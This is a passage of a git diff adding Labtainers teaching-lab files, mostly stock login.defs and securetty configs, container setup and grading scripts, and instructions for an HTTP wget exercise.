a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_bin/fixlocal.sh new file mode 100755 index 000000000..9aa90a501 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_bin/fixlocal.sh @@ -0,0 +1,20 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +export WINEDLLOVERRIDES="mscoree,mshtml=" +wine msiexec /i /var/tmp/wine-mono-4.7.1.msi +export WINEDLLOVERRIDES="" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/home_tar/home.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/home_tar/home.tar new file mode 100644 index 000000000..dfa039f87 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/hmi/home_tar/home.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_bin/fixlocal.sh new file mode 100755 index 000000000..d9487900e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +sudo ldconfig diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/ld.so.conf.d/openplc.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/ld.so.conf.d/openplc.conf new file mode 100644 index 000000000..6006fef25 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/ld.so.conf.d/openplc.conf @@ -0,0 +1,3 @@ +/home/user/OpenPLC_v2/dnp3 +/home/user/OpenPLC_v2/libmodbus-3.0.4/src/.libs + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/plc/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/client/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/client/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/client/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/client/instructions.txt new file mode 100644 index 000000000..4d5f39afd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/client/instructions.txt @@ -0,0 +1,44 @@ +Title: HTTP Lab Exercise + +1. Background + +This Labtainer exercise explores the use of wget +from a client computer to retrieve file content +from a server. +It is primarily to test artifacts in service logs. + +2. Performing the lab +The lab is started from the Labtainer working +directory on your Docker-enabled host, e.g., a Linux VM. +From there, issue the command: + + labtainer httplab + +The resulting virtual terminals include a display of +these instructions, a terminal connected to a client, +and a terminal connected to a server. + +To navigate this instruction, the arrow keys along with +with the Space/Home/End/Page-Up/Page-Down keys are usable. +To exit navigation of this instruction, type 'q'. + +3. Tasks +3.1. Use 'wget' to get files from HTTP server + +Use ifconfig on the server computer to find its ip address. +There are pre-created files 'index.html', 'link1.html' and 'link2.html' + +Use 'wget' to get files 'http:///index.html + + +4. Stop the Labtainer + +When the lab is completed, or you'd like to stop working for a while, run + + stoplab httplab + +from the host Labtainer working directory. You can always restart the +Labtainer to continue your work. When the Labtainer is stopped, a +zip file is created and copied to a location displayed by the stoplab +command. When the lab is completed, send that zip file to the instructor. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/about.txt new file mode 100644 index 000000000..792f2a8ee --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/about.txt @@ -0,0 +1 @@ +Illustrates the HTTP protocol - simple web server diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/parameter.config new file mode 100644 index 000000000..800d388c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/parameter.config @@ -0,0 +1,8 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for http lab +HTTPSERVERLINK1 : HASH_REPLACE : server:/home/ubuntu/link1.html : HTTP_SECRET : myhttpsecretubuntufile +HTTPSERVERLINK2 : HASH_REPLACE : server:/home/ubuntu/link2.html : HTTP_SECRET : myhttpsecretubuntufile + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/httplab/config/start.config new file mode 100644 index 